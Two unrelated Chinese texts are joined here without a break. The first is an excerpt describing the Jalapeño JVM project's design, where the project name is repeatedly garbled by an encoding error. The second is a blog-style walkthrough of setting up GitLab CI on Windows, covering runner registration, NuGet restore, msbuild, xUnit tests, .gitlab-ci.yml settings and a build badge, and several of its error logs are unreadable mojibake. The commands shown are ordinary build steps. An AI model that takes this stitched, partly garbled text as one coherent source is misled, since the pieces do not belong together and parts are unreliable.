Jalape�o 项目的目标是“从零开始”生产出世界级的服务器 JVM。我们的方案是创建一个灵活的测试平台,您可以用这个平台探索、量度及评估新的虚拟机想法。我们的开发方法论是避免过早的优化:最初实施的是简单的机制,只有当发现它是性能瓶颈时才进一步加工它。
可移植性 不是一个设计目标:通过利用 Jalape駉的目标体系结构 ― PowerPC 体系结构 1 ― 运行 AIX(Advanced Interactive Executive(高级交互执行体)) 2 的 SMP(symmetrical multiprocessors(对称多处理器))的独特功能可以获明显的性能好处 ― 我们感到有必要采用它。这样,Jalape�o 的对象布局和锁定机制都是完全特定于体系结构的。另一方面,我们也清楚将来可能需要把 Jalape�o 移植到其它一些平台上。因此,在性能不是问题的地方,我们尽量使 Jalape�o 的可移植性更好。在性能和可移植性一样重要的地方,我们尽量降低 Jalape�o 对宿主操作系统的依赖。
用 Java 语言构建 Jalape�o 的原始驱动力是想看看是否可以这样做。 3 使用现代的、面向对象的、类型安全的还带有自动内存管理功能的编程语言所带来的开发回报是相当可观的。(例如,我们没有碰到悬摆指针错误,除了那些由拷贝垃圾回收器的早期版本引入的错误,这些错误必需地避开 Java 内存模型(Java memory model)。我们也希望从 Java 开发中获得性能方面的好处:首先,无须执行桥接用户代码和运行时服务之间的内部语言间隙的代码;其次,由于这种无缝操作,优化编译器可以同时优化用户和运行时代码,甚至可以频繁地编译在用户代码中内联的运行时服务。
Jalape�o 实现有时必须避开 Java 语言的限制。同时,Jalape�o 的用户必须强制遵守这些限制。 附录 A给出了 Jalape�o 实现这些受控规避的机制。
Jalape�o 只有极小一部分 不是用 Java 语言写的。Jalape�o 虚拟机被设计成作为用户级 AIX 进程运行。因此,它必须使用宿主操作系统,以访问底层的文件系统、网络和处理器资源。要访问这些资源,我们面临一个选择:可以用低级系统调用约定来调用 AIX 内核,或者可以通过标准 C 库来访问 AIX 内核。我们选择后一种办法以使我们不依赖特定于发行版的操作系统内核。这就要求 Jalape�o 的一小部分要用 C 而不是 Java 代码编写。
到现在为止,所需 C 代码的总数很少(约 1000 行)。这些代码中的约一半由一些简单的“粘合”函数组成,这些函数在 Java 方法和 C 库之间中继调用。这些代码的唯一目的是在 Java 格式和 C 格式之间转换参数和返回值。C 代码的另外一半由一个“引导”装入程序和两个信号处理程序组成。引导装入程序负责给虚拟机映象分配内存,把映象从磁盘读入内存,并转到映象的启动代码分支(请参阅 附录 B)。第一个信号处理程序捕获硬件陷阱(由空指针解除引用产生)和陷阱指令(因数组边界检查和被零除检查而生成),并将它们连同寄存器状态的快照一起中继到虚拟机。另一个信号处理程序把定时器中断(每隔 100 毫秒生成)传递给运行中的 Jalape�o 系统
劈荆斩棘:Gitlab 部署 CI 持续集成
阅读目录:
install configue gitlab-ci-multi-runner
restore nuget packages
bulid .sln
run unit tests
configue .gitlab-ci.yml
configue build status badge image
CI 精华文章:
持续集成是什么?
重温大师经典:Martin Fowler 的持续集成
Gitlab 部署 CI 相关资料:
配置 gitlab-ci 进行持续集成
使用 GitLab-CI 来自动创建 Docker 镜像
基于 gitlab 搭建 CI 环境
使用 gitlab 和 gitlab_ci 进行持续集成
持续集成(Continuous integration - CI)的作用:代码在提交到资源库之前,进行构建、自动化测试和发布等等,我们每天需要提交大量的代码,持续集成可以有效的帮助我们发现代码中的 Bug,并且减少一些反复的工作等等,使团队更加有效的开发协作。
GitLab CI 官方介绍:https://about.gitlab.com/gitlab-ci/
Gitlab 在 8.0 以上版本集成了 CI,所以我们不需要另外配置一个 gitlab-ci-server 服务器,为我们部署减少了很多的工作,点个赞!
先吐槽下,Gitlab 部署 CI 我大概花了一周的时间,但也只是进行了一点点,最重要的三点:nuget restore, bulid *.sln和run unit tests现在基本上是可以了,在部署的过程中,深感到问题分享的重要性,遇到的大量问题,Google 基本上搜不到,中文相关资料也就上面的几篇文章,但看过之后发现都是简简单单的介绍而已,并没有记录详细的部署过程,所以,我基本上都是看的 Gitlab 官方帮助文档,但 Gitlab 的更新很频繁,所以有些帮助文档都没进行更新,避免不了踩进一些坑,那怎么办呢?解决方式就是不断的进行尝试,比如我配置.gitlab-ci.yml文件的时候,就不断的进行code commit测试(一百多个提交):
并且有先见之明的把问题解决过程,都用 Issue 进行记录了:
下面就从上面这几个 Issue 进行展开,把每个问题和解决过程都分享出来,希望可以帮助到遇到相同问题的园友。
1. install configue gitlab-ci-multi-runner
GitLab 部署 CI 的第一步就是安装 gitlab-ci-multi-runner,你可以把它理解为:跑 CI 的服务。
windows 安装教程:https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/install/windows.md
下载好 gitlab-ci-multi-runner-windows-amd64.exe 安装文件后,将安装文件放在C:\Multi-Runner下,以管理员权限运行命令行,如果gitlab-ci-multi-runner命令找不到,直接用gitlab-ci-multi-runner-windows-amd64.exe命令运行。
在 Gitlab 项目中打开 Settings > Runners,找到URL和token,等会安装的时候需要配置。
安装配置步骤:
C:\WINDOWS\system32>cd C:\Multi-Runner
C:\Multi-Runner>gitlab-ci-multi-runner-windows-amd64.exe register
Please enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/ci):
URL
Please enter the gitlab-ci token for this runner:
token
Please enter the gitlab-ci description for this runner:
[DESKTOP-2P9GHDD]: xishuai-ci
Please enter the gitlab-ci tags for this runner (comma separated):
dev
Registering runner... succeeded runner=avuSXASJ
Please enter the executor: docker-ssh, parallels, shell, ssh, virtualbox, docker+machine, docker-ssh+machine, docker:
shell
Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!
上面executor: shell是默认配置,意思是本地执行,也可以使用ssh和docker,不过需要增加一些远端链接配置。
完成后,会在C:\Multi-Runner目录下,生成一个config.toml配置文件,我们上面输入的配置信息也都会在这里面,配置说明:https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/configuration/advanced-configuration.md
停止,运行和验证命令:
C:\Multi-Runner>gitlab-ci-multi-runner-windows-amd64.exe stop
C:\Multi-Runner>gitlab-ci-multi-runner-windows-amd64.exe start
C:\Multi-Runner>gitlab-ci-multi-runner-windows-amd64.exe verify
Verifying runner... is alive runner=5ae63365
如果运行C:\Multi-Runner>gitlab-ci-multi-runner-windows-amd64.exe start出现错误,则需要将gitlab-ci-multi-runner-windows-amd64.exe拷贝一份,重命名为gitlab-ci-multi-runner.exe。
另外, Gitlab 项目 Settings > Project Settings Features > Builds 选项需要打勾。
gitlab-ci-multi-runner 安装配置完之后,我们就可以在 Gitlab 项目 Settings > Runners 中,看到 Runners 的信息了。
2. restore nuget packages
这次任务:使用 CI, nuget 还原解决方案中的程序包。
gitlab-ci-multi-runner 安装配置完之后,我们还需要在 Gitlab 项目中添加一个.gitlab-ci.yml文件,官方介绍:http://doc.gitlab.com/ee/ci/yaml/README.html
因为一开始我对.gitlab-ci.yml配置一点都不了解,所以,我当时按照这个教程 CI Quick Start,添加了如下的.gitlab-ci.yml文件配置:
before_script:
- apt-get update -qq && apt-get install -y -qq sqlite3 libsqlite3-dev nodejs
- ruby -v
- which ruby
- gem install bundler --no-ri --no-rdoc
- bundle install --jobs $(nproc) "${FLAGS[@]}"
rspec:
script:
- bundle exec rspec
rubocop:
script:
- bundle exec rubocop
添加好.gitlab-ci.yml文件配置后,我们就可以在项目中的 Builds,看到提交后的构建工作了,随便在 Gitlab 项目中添加一个解决方案,然后再添加一个类库项目,并且使用 nuget 安装一个程序包,最后使用 git 提交到 Gitlab 中,就可以看到 Builds 的过程和结果了,首次提交结果如下:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Cloning repository...
'"git"' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�����������
ϵͳ�Ҳ���ָ����·����
Checking out 2f82ccb0 as master...
'"git"' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�����������
ERROR: Build failed: exit status 9009
这个问题搞了我很久,因为错误信息乱码了,根本找不到相关的解决方案,后来无意间搜到 Gitlab 中的一个 Issue,里面提到了一个gitlab-ci-multi-runner --debug run命令,意思是调试运行 CI,这样我们就可以看到详细的错误信息了,debug 的错误信息比较多,并且完全看不懂,不过我们可以通过 Builds 看到简洁的错误日志:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Cloning repository...
Cloning into 'C:/Multi-Runner/builds/500c7a25/0/dev/CNBlogsCI-Sample'...
fatal: unable to access 'https://gitlab-ci-token:xxxxxx@gitlab.com/dev/CNBlogsCI-Sample.git/': error setting certificate verify locations:
CAfile: C:\Multi-Runner\builds\500c7a25\0\dev\CNBlogsCI-Sample.tmp\GIT_SSL_CAINFO
CApath: none
The system cannot find the path specified.
Checking out ac05d090 as master...
fatal: Not a git repository (or any of the parent directories): .git
ERROR: Build failed: exit status 128
上面错误日志的意思是,没有git clone repository成功,并且没有权限访问,后来 Google 到了一个解决方案:error setting certificate verify locations
解决方式:C:\Multi-Runner\config.toml文件添加shell = 'powershell'节点,添加在[[runners]]节点后。
解决完这个问题之后,去研究了下.gitlab-ci.yml中的nuget restore配置(Google 搜的,太坑),将.gitlab-ci.yml文件修改如下:
stages:
- build
job:
stage: build
script:
- ls
- echo "Restoring NuGet Packages..."
- '"C:\Users\xishuai\.dnx\packages\ClassLibrary2\2.0.0\packages\NuGet.CommandLine.2.8.5\tools\NuGet.exe" restore "src/CNBlogsCI-Sample.sln"'
commit提交测试,出现下面的错误信息:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
At C:\Users\xishuai\AppData\Local\Temp\build_script140243225\script.ps1:132 char:105
+ ... 0.0\packages\NuGet.CommandLine.2.8.5\tools\NuGet.exe" restore "src/CN ...
+ ~~~~~~~
Unexpected token 'restore' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParseException
+ FullyQualifiedErrorId : UnexpectedToken
ERROR: Build failed: exit status 1
从错误信息中可以看到,没有识别restore命令,啥意思?这个问题又搞了我好久,Google Unexpected token 'restore' in expression or statement. 关键字,毛都搜不到,没办法,后来只能更换关键字搜,但搜到的信息凤毛麟角,后来参考搜来的资料,将.gitlab-ci.yml改为:
stages:
- build
job:
stage: build
script:
- ls
- echo "Restoring NuGet Packages..."
- 'call "%VS140COMNTOOLS%\vsvars32.bat"'
# - '"C:\Users\xishuai\.dnx\packages\ClassLibrary2\2.0.0\packages\NuGet.CommandLine.2.8.5\tools\NuGet.exe" restore "src\CNBlogsCI-Sample.sln"'
或
before_script:
- echo "Restoring NuGet Packages..."
- 'call "C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\Tools\vsvars32.bat"'
%VS140COMNTOOLS%\vsvars32.bat 是什么鬼?不太清楚,毫无疑问,又出现了错误,信息如下:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at 3926803 Update .gitlab-ci.yml
From https://gitlab.com/dev/CNBlogsCI-Sample
3926803..d8f10a7 master -> origin/master
Checking out d8f10a7c as master...
Previous HEAD position was 3926803... Update .gitlab-ci.yml
HEAD is now at d8f10a7... Update .gitlab-ci.yml
$ ls
Directory: C:\Multi-Runner\builds\5ae63365\0\dev\CNBlogsCI-Sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/4/2016 02:45 PM src
-a---- 5/4/2016 02:45 PM 89 .gitignore
-a---- 5/4/2016 02:49 PM 527 .gitlab-ci.yml
$ echo "Restoring NuGet Packages..."
Restoring NuGet Packages...
$ call "%VS140COMNTOOLS%\vsvars32.bat"
call : The term 'call' is not recognized as the name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\Users\xishuai\AppData\Local\Temp\build_script250102679\script.ps1:132 char:3
+ call "%VS140COMNTOOLS%\vsvars32.bat"
+ ~~~~
+ CategoryInfo : ObjectNotFound: (call:String) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : CommandNotFoundException
ERROR: Build failed: exit status 1
也是毫无头绪的错误,这么办呢?后来想想nuget restore始终不成功,能不能换个命令呢?突然想到了 ASP.NET 5,还原程序包使用的是dnu restore命令,那就尝试下吧,将解决方案中的项目删掉,然后添加 ASP.NET 5 项目,.gitlab-ci.yml改为:
before_script:
- echo "Restoring NuGet Packages..."
- dnvm use 1.0.0-beta5 -r coreclr -a x64
- dnu restore
哇塞,这次终于成功了(突然有种想哭的冲动),日志信息:
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at 33436d8 test commit
From https://gitlab.com/dev/CNBlogsCI-Sample
33436d8..c80b2d5 master -> origin/master
Checking out c80b2d5d as master...
Previous HEAD position was 33436d8... test commit
HEAD is now at c80b2d5... test commit
$ echo "Release build..."
Release build...
$ dnvm use 1.0.0-beta5 -r coreclr -a x64
Adding C:\Users\xishuai\.dnx\runtimes\dnx-coreclr-win-x64.1.0.0-beta5\bin to process PATH
$ dnu restore
Microsoft .NET Development Utility CoreCLR-x64-1.0.0-beta5-12103
Restoring packages for C:\Multi-Runner\builds\5ae63365\0\dev\CNBlogsCI-Sample\src\CNBlogsCI-Sample.ClassLibrary\project.json
GET https://www.nuget.org/api/v2/
OK https://www.nuget.org/api/v2/ 5524ms
GET http://nuget.cnitblog.com/nuget/Default/
OK http://nuget.cnitblog.com/nuget/Default/ 2406ms
GET https://www.myget.org/F/aspnetvnext/api/v2/
OK https://www.myget.org/F/aspnetvnext/api/v2/ 5225ms
CACHE https://www.nuget.org/api/v2/
GET https://www.myget.org/F/aspnetmaster/api/v3/index.json
OK https://www.myget.org/F/aspnetmaster/api/v3/index.json 2938ms
GET https://www.myget.org/F/xunit/api/v3/index.json
OK https://www.myget.org/F/xunit/api/v3/index.json 1976ms
Writing lock file C:\Multi-Runner\builds\5ae63365\0\dev\CNBlogsCI-Sample\src\CNBlogsCI-Sample.ClassLibrary\project.lock.json
Restore complete, 18775ms elapsed
Build succeeded
虽然 ASP.NET 5 还原程序包成功了,但依旧解决不了问题啊,因为必须得解决nuget restore的问题,因为很多项目都没用 ASP.NET 5,怎么办呢?又回到了出发点,问题能磨死人啊,过程就不叙述了,后来无意间将.gitlab-ci.yml改为:
before_script:
- echo "Restoring NuGet Packages..."
- C:\Program Files (x86)\NuGet\nuget.exe restore src/CNBlogsCI-Sample.sln
仔细看看和上面的配置有什么不同,我把'"去掉了,commit代码测试,出现了下面和一开始不一样的错误(有戏了):
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
Removing src/ClassLibrary1/bin/
Removing src/ClassLibrary1/obj/
HEAD is now at 191e7e0 test commit
From https://gitlab.com/dev/CNBlogsCI-Sample
191e7e0..feebdef master -> origin/master
Checking out feebdefb as master...
Previous HEAD position was 191e7e0... test commit
HEAD is now at feebdef... test commit
$ echo "Restoring NuGet Packages..."
Restoring NuGet Packages...
$ C:\Program Files (x86)\NuGet\nuget.exe restore src/CNBlogsCI-Sample.sln
x86 : The term 'x86' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\Users\xishuai\AppData\Local\Temp\build_script166211738\script.ps1:128 char:21
+ C:\Program Files (x86)\NuGet\nuget.exe restore src/CNBlogsCI-Sample ...
+ ~~~
+ CategoryInfo : ObjectNotFound: (x86:String) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : CommandNotFoundException
ERROR: Build failed: exit status 1
根据上面的错误日志,可以看到,就是目录中的x86问题,然后我把目录改为C:\Program Files\NuGet\nuget.exe之后(nuget.exe拷贝到相应目录下),还是有问题,然后就直接放在C盘目录下,终于build成功(眼泪夺眶而出)。
.gitlab-ci.yml配置:
before_script:
- echo "Restoring NuGet Packages..."
- C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
build成功日志:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at 1ac80d7 test commit
From https://gitlab.com/dev/CNBlogsCI-Sample
1ac80d7..683a8bc master -> origin/master
Checking out 683a8bcb as master...
Previous HEAD position was 1ac80d7... test commit
HEAD is now at 683a8bc... test commit
$ echo "Restoring NuGet Packages..."
Restoring NuGet Packages...
$ C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
Installing 'AutoMapper 4.2.1'.
Successfully installed 'AutoMapper 4.2.1'.
Build succeeded
看似简单的结果,但过程真是太扯蛋了,如果我当时看到类似这篇博文分享,也不至于如此,还没完,继续。。。
3. build *.sln
这次任务:使用 CI, build 生成解决方案中的项目。
生成解决方案的问题解决过程相对简单些,不过上面漏掉了一处,这边再补充下,.gitlab-ci.yml配置:
stages:
- build
job:
stage: build
script:
- echo "Release build..."
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "CNBlogsCI-Sample.sln"
tags:
except:
- tags
错误日志:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at 07a6ffd Merge branch 'master' of gitlab.com:dev/CNBlogsCI-Sample
From https://gitlab.com/dev/CNBlogsCI-Sample
07a6ffd..73bd820 master -> origin/master
Checking out 73bd8207 as master...
Previous HEAD position was 07a6ffd... Merge branch 'master' of gitlab.com:dev/CNBlogsCI-Sample
HEAD is now at 73bd820... test commit
$ echo "Release build..."
Release build...
$ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "CNBlogsCI-Sample.sln"
MSBUILD : error MSB1009: ��Ŀ�ļ������ڡ�
����: CNBlogsCI-Sample.sln
ERROR: Build failed: exit status 1
这个错误和最开始的乱码错误一样,未知的错误,无从下手,后来,又无意间搜到了一个 Gitlab Issue(好多无意间,没办法,Google 只能搜索所有可能的关键字):Question about local project path
.gitlab-ci.yml配置改为:
stages:
- build
job:
stage: build
script:
- ls
- echo "Release build..."
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "CNBlogsCI-Sample.sln"
tags:
except:
- tags
然后看到了详细错误(又有戏了):
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at eb2ec26 Update .gitlab-ci.yml
Checking out eb2ec265 as master...
HEAD is now at eb2ec26... Update .gitlab-ci.yml
$ ls
Directory: C:\Multi-Runner\builds\5ae63365\0\dev\CNBlogsCI-Sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/4/2016 10:26 AM src
-a---- 5/4/2016 11:19 AM 315 .gitlab-ci.yml
$ echo "Release build..."
Release build...
$ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "CNBlogsCI-Sample.sln"
MSBUILD : error MSB1009: Project file does not exist.
Switch: CNBlogsCI-Sample.sln
ERROR: Build failed: exit status 1
error MSB1009: Project file does not exist.这个错误就很清晰了,项目文件找不到,也就是没有找到CNBlogsCI-Sample.sln,怎么会呢?重新查看了 Gitlab 中的项目文件目录,CNBlogsCI-Sample.sln在根目录下的src目录下,重新修改下.gitlab-ci.yml配置:
stages:
- build
job:
stage: build
script:
- ls
- echo "Release build..."
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "src/CNBlogsCI-Sample.sln"
tags:
except:
- tags
build成功,日志详情:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
HEAD is now at a51aeea test commit
From https://gitlab.com/dev/CNBlogsCI-Sample
a51aeea..170fbc4 master -> origin/master
Checking out 170fbc4a as master...
Previous HEAD position was a51aeea... test commit
HEAD is now at 170fbc4... test commit
$ ls
Directory: C:\Multi-Runner\builds\5ae63365\0\dev\CNBlogsCI-Sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/4/2016 11:38 AM src
-a---- 5/4/2016 11:38 AM 319 .gitlab-ci.yml
$ echo "Release build..."
Release build...
$ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "src/CNBlogsCI-Sample.sln"
Build succeeded
4. run unit tests
这次任务:使用 CI, run 跑解决方案中的单元测试,可以成为自动化测试。
这次基本上没有什么问题解决过程,因为 Google 完全搜不到相关资料,所以,我最后是按照我的想法实现的,xUnit 除了用 VS2015 进行跑单元测试外,我们还可以用命令行的方式,打开 cmd 输入:C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll",结果如下:
C:\Users\xishuai\Desktop\CNBlogs\CNBlogsCI-Sample\src> C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll"
xUnit.net Console Runner (64-bit .NET 4.0.30319.42000)
Discovering: ClassLibrary2
Discovered: ClassLibrary2
Starting: ClassLibrary2
ClassLibrary2.Class1.Test2 [FAIL]
Assert.True() Failure
Expected: True
Actual: False
Stack Trace:
ClassLibrary2\Class1.cs(21,0): at ClassLibrary2.Class1.Test2()
Finished: ClassLibrary2
=== TEST EXECUTION SUMMARY ===
ClassLibrary2 Total: 2, Errors: 0, Failed: 1, Skipped: 0, Time: 0.224s
好,既然命令行可以跑单元测试,那么我们就可以在.gitlab-ci.yml中添加脚本配置,如下:
stages:
- build
- test
before_script:
- echo "Restoring NuGet Packages..."
- C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
build_job:
stage: build
script:
- echo "Release build..."
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "src\CNBlogsCI-Sample.sln"
except:
- tags
test_job:
stage: test
script:
- echo "Tests run..."
- C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll"
- C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary3\bin\debug\ClassLibrary3.dll"
xUnit 单元测试不通过日志:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
Removing src/ClassLibrary1/bin/
Removing src/ClassLibrary1/obj/
Removing src/ClassLibrary2/bin/Release/
Removing src/ClassLibrary2/obj/
Removing src/ClassLibrary3/bin/
Removing src/ClassLibrary3/obj/
Removing src/packages/
HEAD is now at d176025 test commit
Checking out d1760259 as master...
HEAD is now at d176025... test commit
$ echo "Restoring NuGet Packages..."
Restoring NuGet Packages...
$ C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
Installing 'xunit.abstractions 2.0.0'.
Installing 'xunit.assert 2.1.0'.
Installing 'xunit 2.1.0'.
Installing 'AutoMapper 4.2.1'.
Successfully installed 'xunit 2.1.0'.
Installing 'xunit.core 2.1.0'.
Successfully installed 'xunit.abstractions 2.0.0'.
Successfully installed 'xunit.core 2.1.0'.
Installing 'xunit.extensibility.core 2.1.0'.
Successfully installed 'xunit.assert 2.1.0'.
Installing 'xunit.extensibility.execution 2.1.0'.
Installing 'xunit.runner.console 2.1.0'.
Successfully installed 'AutoMapper 4.2.1'.
Successfully installed 'xunit.runner.console 2.1.0'.
Successfully installed 'xunit.extensibility.core 2.1.0'.
Successfully installed 'xunit.extensibility.execution 2.1.0'.
$ echo "Tests run..."
Tests run...
$ C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll"
xUnit.net Console Runner (64-bit .NET 4.0.30319.42000)
Discovering: ClassLibrary2
Discovered: ClassLibrary2
Starting: ClassLibrary2
Finished: ClassLibrary2
=== TEST EXECUTION SUMMARY ===
ClassLibrary2 Total: 2, Errors: 0, Failed: 0, Skipped: 0, Time: 0.179s
$ C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary3\bin\debug\ClassLibrary3.dll"
error: file not found: src\ClassLibrary3\bin\debug\ClassLibrary3.dll
ERROR: Build failed: exit status 1
xUnit 单元测试通过日志:
gitlab-ci-multi-runner 1.1.3 (a470667)
Using Shell executor...
Running on DESKTOP-2P9GHDD...
Fetching changes...
Removing src/ClassLibrary1/bin/
Removing src/ClassLibrary1/obj/
Removing src/ClassLibrary2/bin/Release/
Removing src/ClassLibrary2/obj/
Removing src/ClassLibrary3/bin/Release/
Removing src/ClassLibrary3/obj/
Removing src/packages/
HEAD is now at 2467772 test commit
Checking out 2467772f as master...
HEAD is now at 2467772... test commit
$ echo "Restoring NuGet Packages..."
Restoring NuGet Packages...
$ C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
Installing 'AutoMapper 4.2.1'.
Installing 'xunit.abstractions 2.0.0'.
Installing 'xunit.assert 2.1.0'.
Installing 'xunit 2.1.0'.
Successfully installed 'xunit 2.1.0'.
Installing 'xunit.core 2.1.0'.
Successfully installed 'xunit.abstractions 2.0.0'.
Successfully installed 'xunit.core 2.1.0'.
Installing 'xunit.extensibility.execution 2.1.0'.
Installing 'xunit.extensibility.core 2.1.0'.
Successfully installed 'xunit.assert 2.1.0'.
Installing 'xunit.runner.console 2.1.0'.
Successfully installed 'AutoMapper 4.2.1'.
Successfully installed 'xunit.runner.console 2.1.0'.
Successfully installed 'xunit.extensibility.core 2.1.0'.
Successfully installed 'xunit.extensibility.execution 2.1.0'.
$ echo "Tests run..."
Tests run...
$ C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll"
xUnit.net Console Runner (64-bit .NET 4.0.30319.42000)
Discovering: ClassLibrary2
Discovered: ClassLibrary2
Starting: ClassLibrary2
Finished: ClassLibrary2
=== TEST EXECUTION SUMMARY ===
ClassLibrary2 Total: 2, Errors: 0, Failed: 0, Skipped: 0, Time: 0.194s
$ C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary3\bin\debug\ClassLibrary3.dll"
xUnit.net Console Runner (64-bit .NET 4.0.30319.42000)
Discovering: ClassLibrary3
Discovered: ClassLibrary3
Starting: ClassLibrary3
Finished: ClassLibrary3
=== TEST EXECUTION SUMMARY ===
ClassLibrary3 Total: 1, Errors: 0, Failed: 0, Skipped: 0, Time: 0.184s
Build succeeded
基本上实现了我们想要的效果,但这种实现方式有两个不好的地方:
需要将单元测试的 *.dll 文件上传到 git 资源库。
每增加一个单元测试项目,就必须在.gitlab-ci.yml中添加一段脚本。
我个人觉得 CI 中的自动化测试,肯定不是像我这样搞的,但实在找不到相关资料,如果大家知悉,还请告知,感谢~
另外,如果是 ASP.NET 5 项目,进行自动化测试配置,会非常简单,配置如下:
test:
stage: test
script:
- echo "Tests run..."
- dnx test #或者 dotnet test
5. configue .gitlab-ci.yml
.gitlab-ci.yml官方资料:http://doc.gitlab.com/ee/ci/yaml/README.html
其他示例:
http://stackoverflow.com/questions/32964953/gitlab-ci-and-msbuild-with-tests
https://github.com/CWISoftware/accounts/blob/master/.gitlab-ci.yml
http://www.timtilberg.com/tag/gitlab/
http://doc.gitlab.com/ee/ci/yaml/README.html#stages
https://github.com/travis-ci/travis-ci/issues/5210
.gitlab-ci.yml中的配置说明,上面的官方资料介绍的非常详细,下面我再简单介绍下,就用我这次部署 CI 完善后的.gitlab-ci.yml配置:
stages:
- build
- test
before_script:
- echo "Restoring NuGet Packages..."
- C:\NuGet\nuget.exe restore "src\CNBlogsCI-Sample.sln"
only:
- master
build_job:
stage: build
script:
- echo "Release build..."
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe /consoleloggerparameters:ErrorsOnly /maxcpucount /nologo /property:Configuration=Release /verbosity:quiet "src\CNBlogsCI-Sample.sln"
except:
- tags
only:
- master
test_job:
stage: test
script:
- echo "Tests run..."
- C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary2\bin\debug\ClassLibrary2.dll"
- C:\xunit.runner.console\tools\xunit.console.exe "src\ClassLibrary3\bin\debug\ClassLibrary3.dll"
only:
- master
stage翻译为阶段的意思,在构建的过程中,必须要有一个先后顺序,最上面的stages配置意思是,先构建阶段为build的job,然后再构建阶段为test的job,下面build_job和test_job都是job,如果不配置stages,默认为:
stages:
- build
- test
- deploy
before_script的意思是,执行在所有的job之前的脚本,比如构建build_job和test_job都先执行before_script,build_job和test_job中的stage配置,意思是此job属于哪个stage,这个stage就是最上面的stages配置,除了默认的build,test和deploy,你也可以添加自定义的stage,另外,如果job不添加stage配置,默认配置为test,比如上面的test_job,就可以省略stage: test配置。
另外,job还有一个when: on_failure/on_success /always配置,如果我们对job进行了stage配置,默认都会是when: on_success:
only - master的意思是,只有`master分支才会进行构建,script的意思很明了,就是要执行的脚本命名。
6. configue build status badge image
构建状态徽章,就是我们平常在 Github 项目中看到构建图标,有pass和failing等等。
Gitlab CI 中的教程 builds-badge 真的很坑爹,怎么试都不行,后来无意间看到 Gitlab 项目的一个选项 Settings > Badges:
复制上面的代码,然后添加在README.md文件中:
[](https://gitlab.com/dev/CNBlogsCI-Sample/commits/master)
这样在commit``bulid的时候,就会动态的显示bulid的过程和结果,并且是图片显示。
Gitlab 部署好 CI 之后,我们会发现,在项目中随处可见这样的图标:
这篇博文没有什么阅读价值,因为都是零零碎碎的问题和解决纪录,没有什么可读性,如果你能阅读到这,我真的会很感动。
